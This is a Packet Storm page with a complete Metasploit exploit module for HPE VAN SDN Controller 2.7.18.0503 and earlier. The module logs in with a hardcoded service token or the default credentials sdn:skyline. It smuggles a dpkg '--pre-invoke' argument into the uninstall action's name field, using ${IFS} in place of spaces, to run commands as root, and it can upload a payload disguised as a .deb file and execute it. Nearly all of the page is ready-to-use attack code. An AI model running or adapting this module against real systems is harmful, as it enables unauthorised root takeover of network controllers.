what you don't know can hurt you

HP VAN SDN Controller Root Command Injection

HP VAN SDN Controller Root Command Injection
Posted Jul 7, 2018
Authored by Matthew Bergin, wvu | Site metasploit.com

This Metasploit module exploits a hardcoded service token or default credentials in HPE VAN SDN Controller versions 2.7.18.0503 and below to execute a payload as root. A root command injection was discovered in the uninstall action's name parameter, obviating the need to use sudo for privilege escalation. If the service token option TOKEN is blank, USERNAME and PASSWORD will be used for authentication. An additional login request will be sent.

tags | exploit, root
SHA-256 | eea257b390a3b287d462cce58af78297233c499f3594b67b9e26d2aa119c09e9

HP VAN SDN Controller Root Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

# server: grizzly/2.2.16
HttpFingerprint = {pattern: [/^grizzly/]}

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'HP VAN SDN Controller Root Command Injection',
'Description' => %q{
This module exploits a hardcoded service token or default credentials
in HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root.

A root command injection was discovered in the uninstall action's name
parameter, obviating the need to use sudo for privilege escalation.

If the service token option TOKEN is blank, USERNAME and PASSWORD will
be used for authentication. An additional login request will be sent.
},
'Author' => [
'Matt Bergin', # Vulnerability discovery and Python exploit
'wvu' # Metasploit module and additional ~research~
],
'References' => [
['EDB', '44951'],
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt']
],
'DisclosureDate' => 'Jun 25 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {'BadChars' => ' '}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true}
))

register_options([
OptString.new('TOKEN', [false, 'Service token', 'AuroraSdnToken37']),
OptString.new('USERNAME', [false, 'Service username', 'sdn']),
OptString.new('PASSWORD', [false, 'Service password', 'skyline'])
])

register_advanced_options([
OptString.new('PayloadName', [false, 'Payload name (random if unset)']),
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def check
checkcode = CheckCode::Safe

res = send_request_cgi(
'method' => 'POST',
'uri' => '/',
'headers' => {'X-Auth-Token' => auth_token},
'ctype' => 'application/json',
'data' => {'action' => 'uninstall'}.to_json
)

if res.nil?
checkcode = CheckCode::Unknown
elsif res && res.code == 400 && res.body.include?('Missing field: name')
checkcode = CheckCode::Appears
elsif res && res.code == 401 && res.body =~ /Missing|Invalid token/
checkcode = CheckCode::Safe
end

checkcode
end

def exploit
if [CheckCode::Safe, CheckCode::Unknown].include?(check)
if datastore['ForceExploit']
print_warning('ForceExploit set! Exploiting anyway!')
else
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
end

if target['Type'] == :unix_memory
print_status('Executing command payload')
execute_command(payload.encoded)
return
end

print_status('Uploading payload as fake .deb')
payload_path = upload_payload
renamed_path = payload_path.gsub(/\.deb$/, '')

register_file_for_cleanup(renamed_path)

print_status('Renaming payload and executing it')
execute_command(
"mv #{payload_path} #{renamed_path} && " \
"chmod +x #{renamed_path}"
)
execute_command(renamed_path)
end

def upload_payload
payload_name = datastore['PayloadName'] ?
"#{datastore['PayloadName']}.deb" :
"#{Rex::Text.rand_text_alphanumeric(8..42)}.deb"
payload_path = "/var/lib/sdn/uploads/#{payload_name}"

res = send_request_cgi(
'method' => 'POST',
'uri' => '/upload',
'headers' => {'Filename' => payload_name, 'X-Auth-Token' => auth_token},
'ctype' => 'application/octet-stream',
'data' => generate_payload_exe
)

unless res && res.code == 200 && res.body.include?('{ }')
fail_with(Failure::UnexpectedReply, "Failed to upload #{payload_path}")
end

print_good("Uploaded #{payload_path}")

payload_path
end

def execute_command(cmd)
# Argument injection in /opt/sdn/admin/uninstall-dpkg
injection = "--pre-invoke=#{cmd}"

# Ensure we don't undergo word splitting
injection = injection.gsub(/\s+/, '${IFS}')

print_status("Injecting dpkg -r #{injection}")

send_request_cgi({
'method' => 'POST',
'uri' => '/',
'headers' => {'X-Auth-Token' => auth_token},
'ctype' => 'application/json',
'data' => {'action' => 'uninstall', 'name' => injection}.to_json
}, 1)
end

def auth_token
return @auth_token if @auth_token

token = datastore['TOKEN']
username = datastore['USERNAME']
password = datastore['PASSWORD']

if token && !token.empty?
print_status("Authenticating with service token #{token}")
@auth_token = token
return @auth_token
end

print_status("Authenticating with creds #{username}:#{password}")

res = send_request_cgi(
'method' => 'POST',
'uri' => '/sdn/ui/app/login',
'rport' => 8443,
'vars_post' => {'username' => username, 'password' => password}
)

unless res && res.get_cookies.include?('X-Auth-Token')
print_error('Invalid username and/or password specified')
return
end

@auth_token = res.get_cookies_parsed['X-Auth-Token'].first
print_good("Retrieved auth token #{@auth_token}")

@auth_token
end

end
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close